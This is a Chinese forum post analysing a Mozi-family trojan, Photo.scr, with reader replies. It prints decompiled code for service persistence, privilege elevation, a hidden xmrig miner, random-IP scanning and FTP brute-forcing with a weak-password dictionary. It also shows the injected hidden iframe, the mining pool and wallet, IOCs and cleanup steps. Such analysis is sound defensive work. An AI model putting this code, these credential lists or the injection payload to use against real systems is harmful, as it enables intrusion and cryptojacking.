Hk_Mayfly 发表于 2021-10-24 18:42

新型活跃Mozi样本分析报告

本帖最后由 孤影W 于 2021-10-26 09:51 编辑

# 基本信息

| 对象   | 值                                                         |
| -------- | ------------------------------------------------------------ |
| 文件名   | Photo.scr                                                    |
| 文件类型 | PE32 executable for MS Windows (GUI) Intel 80386 32-bit      |
| 文件大小 | 6271259 bytes                                                |
| MD5      | a20727b81b50a20483ba59ae65443dfe                           |
| SHA256   | af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c |
| 其它信息 | \                                                            |

| 对象   | 值                                                         |
| -------- | ------------------------------------------------------------ |
| 文件名   | HelpPane.exe                                                 |
| 文件类型 | PE32 executable for MS Windows (GUI) Intel 80386 32-bit      |
| 文件大小 | 6271259 bytes                                                |
| MD5      | a20727b81b50a20483ba59ae65443dfe                           |
| SHA256   | af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c |
| 其它信息 | \                                                            |

| 对象   | 值                                                         |
| -------- | ------------------------------------------------------------ |
| 文件名   | xmrig.exe                                                    |
| 文件类型 | PE32 executable for MS Windows (console) Intel 80386 32-bit|
| 文件大小 | 1905664 bytes                                                |
| MD5      | 13bdd9cd9f7e51746172996262b5a873                           |
| SHA256   | 4bf737b29ff521bc263eb1f2c1c5ea04b47470cccd1beae245d98def389929bd |
| 其它信息 | UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub             |

# 动态分析

## 进程信息

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a84a.png)



## 网络信息

### DNS记录

| domain               | IP                        |
| ---------------------- | --------------------------- |
| dht.transmissionbt.com | 87.98.162.88、212.129.33.59 |
| router.bittorrent.com| 67.215.246.10               |
| router.utorrent.com    | 82.221.103.244            |
| bttracker.debian.org   | 130.239.18.159            |
| xmr.crypto-pool.fr   | 163.172.226.137             |



## 连接记录

| IP            | Port | 反查domain         | 发起进程名   |
| --------------- | ---- | ------------------ | ------------ |
| 20.73.194.208   | 443| \                  | \            |
| 163.172.226.137 | 3333 | xmr.crypto-pool.fr | xmrig.exe    |
| 20.73.194.208   | 443| \                  | svchost.exe|
| 20.73.194.208   | 443| \                  | \            |
| 65.0.126.237    | 21   | \                  | HelpPane.exe |
| 14.95.85.66   | 21   | \                  | HelpPane.exe |
| 31.16.135.42    | 21   | \                  | HelpPane.exe |
| 109.72.121.23   | 21   | \                  | HelpPane.exe |
| 109.72.121.23   | 21   | \                  | HelpPane.exe |



# python打包程序反编译

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a85a.png)

可以很明显看到是Python打包的程序,反编译流程为`pyinstxtractor`+`uncompyle6(Python2.7)`

# 反编译

拿到解压后的文件,找到`ftpcrack.pyc`,对比`struct.pyc`,替换第一行头部信息为

```shell
03 F3 0D 0A 70 79 69 3063 00 00 00 00 00 00 0000 3E 00 00 00 40 00 0000 73 A7 08 00 00 64 00
```

反汇编字节码文件得到



# 服务启动

## 参数与服务判断

```python
if sys.argv == 1: # 参数数量为1
      argvs = ''
else:
      argvs = ('').join(sys.argv)
if is_exists(Servicename) and len(sys.argv) == 1: # 情况1:FTP服务开启&参数数量为1
... ...
elif len(sys.argv) >= 2: # 情况2:参数数量不小于2
... ...
elif is_admin():
... ...
elif sys.version_info == 3: # 情况3:管理员启用
... ...
else: # 情况3:其它情况
```



## 服务信息

```python
class PythonService(win32serviceutil.ServiceFramework):
    # 服务名
    _svc_name_ = Servicename
    # 服务显示名称
    _svc_display_name_ = 'Application State ftp Service'
    # 服务描述
    _svc_description_ = 'Application Support State ftp Service'

    def __init__(self, args):
      win32serviceutil.ServiceFramework.__init__(self, args)
      self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
      self.run = True
      return

    def SvcDoRun(self):
      while self.run:
            main()

    def SvcStop(self):
      self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
      win32event.SetEvent(self.hWaitStop)
      self.run = False
```



## 情况1:FTP服务开启&参数数量1

判断指定服务是否存在

```python
def is_exists(name):
    """windows\xb7\xfe\xce\xf1\xca\xc7\xb7\xf1\xd2\xd1\xb0\xb2\xd7\xb0"""
    # 获取计算机上所有服务
    scm = win32service.OpenSCManager(None, None, win32service.SC_MANAGER_ENUMERATE_SERVICE)
    # 获取状态信息
    statuses = win32service.EnumServicesStatus(scm, win32service.SERVICE_WIN32, win32service.SERVICE_STATE_ALL)
    # 判断是否有指定服务
    for short_name, desc, status in statuses:
      if short_name == name:
            return True

    return False
```

启用木马程序,替代`StateftpService`服务

```python
try:
    # 获取木马程序路径,注册服务信息,启动木马程序
    evtsrc_dll = os.path.abspath(servicemanager.__file__)
    servicemanager.PrepareToHostSingle(PythonService)
    servicemanager.Initialize(Servicename, evtsrc_dll)
    servicemanager.StartServiceCtrlDispatcher()
except win32service.error as details:
    # 如果因为无权限执行
    if details == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:
      # 如果是管理员,将程序拷贝到管理员目录下执行(例如:C:\\Users\\Hk_Mayfly)
      if is_admin():
            commonfile = os.environ['USERPROFILE']
            os.popen('copy /y ' + os.path.realpath(sys.argv) + ' ' + commonfile + '\\HelpPane.exe')
            if is_stop(Servicename):
                os.popen(commonfile + '\\HelpPane.exe start')
      # 如果非管理员,计算机上python版本为3.x,执行下面这句,以管理员身份执行,2.x版本需要转unicode
      elif sys.version_info == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
      else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
```



## 情况2:输入参数启动

PS:这老哥直接copy的网上代码,就说代码还很规范,看样子应该是国内的~

参数说明

```shell
1.安装服务
python PythonService.py install

2.让服务自动启动
python PythonService.py --startup auto install

3.启动服务
python PythonService.py start

4.重启服务
python PythonService.py restart

5.停止服务
python PythonService.py stop

6.删除/卸载服务
python PythonService.py remove

```



```python
elif len(sys.argv) >= 2:# 参数数量不小于2
    # /s 表示将样本程序设置为自启动
    if sys.argv.lower() == '/s':
      if is_admin():
            commonfile = os.environ['USERPROFILE']
            os.popen('copy /y ' + os.path.realpath(sys.argv) + ' ' + commonfile + '\\HelpPane.exe')
            os.popen(commonfile + '\\HelpPane.exe --startup auto install')
            os.popen(commonfile + '\\HelpPane.exe start')
      elif sys.version_info == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
      else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
    if sys.argv.lower() == '--startup' or sys.argv.lower() == 'install' or sys.argv.lower() == 'start' or sys.argv.lower() == 'remove':
      if is_admin():
            win32serviceutil.HandleCommandLine(PythonService)
      elif sys.version_info == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
      else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
```



## 情况3:管理员启用

直接将木马copy到管理员目录下执行

```python
commonfile = os.environ['USERPROFILE']
os.popen('copy /y ' + os.path.realpath(sys.argv) + ' ' + commonfile + '\\HelpPane.exe')
os.popen(commonfile + '\\HelpPane.exe --startup auto install')
os.popen(commonfile + '\\HelpPane.exe start')
```



## 情况4、5:根据python版本启用

python 3.x 管理员权限执行

```python
ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
```



python 2.x 管理员权限执行

```python
ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
```



# 启动配置挖矿样本

首先拿构造IP池,大致过程就是拿出所有非本地网卡的IP地址,如:`172.45.6.0`,再拿出掩码长度组成IP段,例如:`172.45.6.0/24`

```python
RANDOM_IP_POOL = get_local_ipaddr()
```

```python
def getmask(netmask):
    result = ''
    for num in netmask.split('.'):
      temp = str(bin(int(num)))
      result = result + temp

    return str(len(('').join(str(result).split('0'))))


def get_local_ipaddr():
    resultsip = []
    for i in netifaces.interfaces():
      info = netifaces.ifaddresses(i)
      if netifaces.AF_INET not in info:
            continue
      if info['addr'].encode('raw_unicode_escape') != '127.0.0.1':
            resultsip.append(info['addr'].encode('raw_unicode_escape') + '/' + getmask(info['netmask'].encode('raw_unicode_escape')))

    return resultsip
```



根据系统杀掉本地的挖矿进程,`nt->Windows`,`posix->Linux`

```
def killminer():
    pids = psutil.pids()
    for pid in pids:
      p = psutil.Process(pid)
      cmds = getProperty(p, 'cmdline')
      if pid != os.getpid():
            if p.name().lower().find('xmr') >= 0 or p.name().lower().find('miner') >= 0 or (' ').join(cmds).lower().find('pool') >= 0 or (' ').join(cmds).lower().find('xmr') >= 0 or (' ').join(cmds).lower().find('miner') >= 0 or (' ').join(cmds).lower().find('tcp://') >= 0 or (' ').join(cmds).lower().find('stratum') >= 0:
                if os.name == 'nt':
                  cmd = 'taskkill /pid ' + str(pid) + ' /f'
                  os.popen(cmd)
                elif os.name == 'posix':
                  cmd = 'kill ' + str(pid)
                  os.popen(cmd)
```



将挖矿程序`xmrig.exe`连同配置文件`config.json`放到C盘临时目录运行

```python
os.popen('copy /y ' + res_path + 'xmrig.exe ' + tmp + '\\xmrig.exe')
os.popen('copy /y ' + res_path + 'config.json ' + tmp + '\\config.json')
time.sleep(3)
info = subprocess.STARTUPINFO()
info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
info.wShowWindow = subprocess.SW_HIDE
proc = subprocess.Popen(tmp + '\\xmrig.exe', startupinfo=info)
```

```shell
subprocess.STARTF_USESHOWWINDOW
指明 STARTUPINFO.wShowWindow 属性包含额外的信息。

subprocess.CREATE_NEW_CONSOLE
新的进程将有新的控制台,而不是继承父进程的(默认)控制台。
```

转存文件到TEMP目录

```python
hb = binascii.a2b_hex(lnk)
tmplnk = tmp + '\\link.txt'
flink = open(tmplnk, 'w')
flink.write(hb)
flink.close()
filename = tmp + '\\config'
open(tmp + '\\config', 'w').close()
```



# 配置bot节点信息

启动两个线程

```python
t1 = Thread(target=prockad, args=('kad', ))
t1.start()
t2 = Thread(target=config, args=('config', ))
t2.start()
```

```python
def prockad(x):
    global dll
    kadfile = 'back.jpg'
    try:
      dll = CDLL(kadfile)
      dll._Z7GetConfPc('')
    except Exception as e:
      pass
```

启动back.jpg

## back.jpg

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a86c.png)

这是一个32位DLL文件,经过UPX加壳

| 对象   | 值                                                         |
| -------- | ------------------------------------------------------------ |
| 文件名   | back.jpg                                                   |
| 文件类型 | PE32 executable for MS Windows (DLL) (console) Intel 80386   |
| 文件大小 | 47107 bytes                                                |
| MD5      | 4ae078dd5085e97d3605f20dc079412a                           |
| SHA256   | ed551536ff22587cdf7701a279e088eb370a4121e7a3fa1f3c8b121e767318a2 |
| 其它信息 | UPX                                                          |

### Config配置文件

在这里看到有打开之前转存到TEMP目录下的Config文件

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a879.png)

向上回溯,发现两处信息

### bot Config信息

脱壳后打开

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a886.png)

这里看到了内嵌的Config信息

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a80a.png)

拿到内嵌Config信息`ftp.288888888`,同时上面的`1:v4:`说明这是个Mozi家族的恶意样本,用以区分DHT节点和Mozi节点流量(有表示为Mozi节点,会同步Config信息)。

这些应该是节点通讯的一些命令

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a80f.png)

**ECDSA384**:Config字段合法性验证

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a819.png)

public_key1

```shell
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
```

public_key2

```
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
```



### 配置bot节点信息

这里是回溯的第二处信息

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a823.png)

接着,生成硬编码节点ID

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a830.png)

最终得到硬编码ID:`88888888:ad2:id2bo`

### 其它

```
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
```



# 解析Config文件命令

这个线程主要解析从其它bot发来的指令(存入config中)

| 标签          | 作用                                                         |
| ------------- | ------------------------------------------------------------ |
| `` | 下载指定恶意链接的程序,保存到tmp目录                        |
| `` | 下载指定恶意链接的程序,并执行                               |
| `` | 下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件) |
| `` | 执行指定命令                                                 |

```python
def config(x):
    filename = tmp + '\\config'
    ...
      content = GetMiddleStr(congfigs, '', '')
         ...
    content = GetMiddleStr(congfigs, '', '')
      ...
    content = GetMiddleStr(congfigs, '', '')
         ...
    content = GetMiddleStr(congfigs, '', '')
      ...
```



# FTP Crack

## 随机IP获取

随机获取3000个非局域网IP地址

```python
ip_list = []
m_count = 200
ping = True
for i in range(1, 3000):
    ip_list.append(randomip())
```



```python
def randomip():
    ip = 'null'
    while True:
      ip0 = random.randint(1, 254)
      ip1 = random.randint(0, 255)
      ip2 = random.randint(0, 255)
      ip3 = random.randint(0, 255)
      ip = str(ip0) + '.' + str(ip1) + '.' + str(ip2) + '.' + str(ip3)
      if ip0 == 10 or ip0 == 127:
            ip = 'null'
      elif ip0 == 100 and ip1 >= 64 and ip1 <= 127:
            ip = 'null'
... ...
```



再往IP列表中添加本机IP地址列表

```python
iplist.append(get_random_ip())
```



## 获取存活IP

```python
iplist = get_ac_ip(iplist)
```

```python
def get_ac_ip(ip_list):
    try:
      s = Nscan()
      ipPool = set(ip_list)
      return s.mPing(ipPool)
    except Exception as e:
      return ip_list
```

```python
class Nscan:
    def __init__(self, timeout=3):
      ...
   
    @property
    def __icmpSocket(self):
            """创建ICMP Socket"""
      ...
   
    def __inCksum(self, packet):
      """ICMP报文校验和计算方法"""
      ...
   
    @property
    def __icmpPacket(self):
            """构造ICMP报文"""
      ...
   
    def mPing(self, ipPool):
            """利用ICMP报文探测网络主机存活"""
         ...
```





## 主机信息探测

!(https://pic.imgdb.cn/item/6172eb232ab3f51d9146a83c.png)



## FTP爆破

有个Crack类,含有所有的功能

```python
USER_DIC = {'ftp': [
         'www', 'anonymous', 'admin', 'Admin', 'root', 'db', 'wwwroot', 'data', 'web', 'ftp', 'administrator', 'user', 'user123', 'test', 'www-data'],
   'ssh': [
         'root', 'admin']}
PASSWORD_DIC = [
'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
'{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
'{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
'{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
'12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc']
```



## 上传病毒文件

上传`Photo.scr`、`Video.scr`、`AV.scr`、`Photo.lnk`、`Video.lnk`、`AV.lnk`文件



## 恶意代码植入

1. 将远程FTP服务器中所有文件结尾为:`.html` `.htm` `.php` `.asp` `.stm` `.dhtm` `.phtm` `.xht` `.mht` `.htx` `.aspx``.jsp` `.cgi` `.shtm` `.xml` 下载到本地tmp目录
2. 随机重命名文件,命名规则:``` ('').join(random.sample('zyxwvutsrqponmlkjihgfedcba', 5)) + val```
3. 读取下载下来的文件,若文件中没有恶意代码块```<iframe src=Photo.scr width=1 height=1 frameborder=0>```,则在文件内尾部加入```<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>```,以在网页中植入恶意程序
4. 上传文件到远程服务器,并删除本地文件



# 其它信息

解包出来的文件还有一个`config.json`

```json
{
    "algo": "cryptonight",
    "api": {
      "port": 0,
      "access-token": null,
      "id": null,
      "worker-id": null,
      "ipv6": false,
      "restricted": true
    },
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 70,
    "pools": [
      {
            "url": "xmr.crypto-pool.fr:3333",
            "user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
      }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": [
      {
            "low_power_mode": 1,
            "affine_to_cpu": false
      },
      {
            "low_power_mode": 1,
            "affine_to_cpu": false
      }
    ],
    "user-agent": null,
    "watch": true
}
```

从这可以看出,恶意样本,设置cpu最大利用率70%,便于隐藏。

矿池:`xmr.crypto-pool.fr:3333`

钱包地址:`47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV`



# IOC信息

```python
# md5
a20727b81b50a20483ba59ae65443dfe
13bdd9cd9f7e51746172996262b5a873
4ae078dd5085e97d3605f20dc079412a

# domain
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881

# 矿池
xmr.crypto-pool.fr:3333

# ip
87.98.162.88
212.129.33.59
67.215.246.10
82.221.103.244
130.239.18.159
163.172.226.137
163.172.226.137:3333

# 钱包地址
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
```



| 标签          | 作用                                                         |
| ------------- | ------------------------------------------------------------ |
| `` | 下载指定恶意链接的程序,保存到tmp目录                        |
| `` | 下载指定恶意链接的程序,并执行                               |
| `` | 下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件) |
| `` | 执行指定命令                                                 |



```python
弱密码
[
'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
'{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
'{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
'{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
'12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc'
]
```



# 处理意见

1. 删除本地恶意样本`Photo.scr`
2. 删除临时文件目录下`xmrig.exe`、`config.json`、`link.txt`、`config`、`HelpPane.exe`、`updater.exe`、`updater`
3. 删除`upgrade.bat`、`Video.scr`、`AV.scr`、`Photo.lnk`、`Video.lnk`、`AV.lnk`
4. 杀掉包含以上文件名的进程
5. 查找所有后缀为`.html` `.htm` `.php` `.asp` `.stm` `.dhtm` `.phtm` `.xht` `.mht` `.htx` `.aspx``.jsp` `.cgi` `.shtm` `.xml`的文件,去除```<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>'```代码片段
6. 因为可能通过命令下载其它恶意程序,所以建议再使用**`腾讯电脑管家`**扫描一遍电脑。
7. 关闭`21`、`2121`端口
8. 修改FTP服务登录密码

Hk_Mayfly 发表于 2021-11-12 11:07

iwanna 发表于 2021-11-12 09:36
感谢分享刚好最近要找一些来学习很有用

恩,最近准备开一个样本分析的专题,到时候欢迎交流。

行踪落落 发表于 2021-10-25 21:09

厉害老哥 来学习一下

cmcm0 发表于 2021-10-27 17:55

谢谢分享,来研究下

jsncy 发表于 2021-11-3 08:11

谢谢分享

meloe 发表于 2021-11-3 08:25

有用 ,非常感谢。。。

xiext111 发表于 2021-11-3 16:42

学习一下

cid5798 发表于 2021-11-3 16:56

感谢分享,学习了

52PojieFen 发表于 2021-11-5 17:10

学习了,谢谢分享

xinyoulingxi 发表于 2021-11-12 09:24

有用,学习了,谢谢分享

iwanna 发表于 2021-11-12 09:36

感谢分享刚好最近要找一些来学习很有用
页: [1] 2 3
查看完整版本: 新型活跃Mozi样本分析报告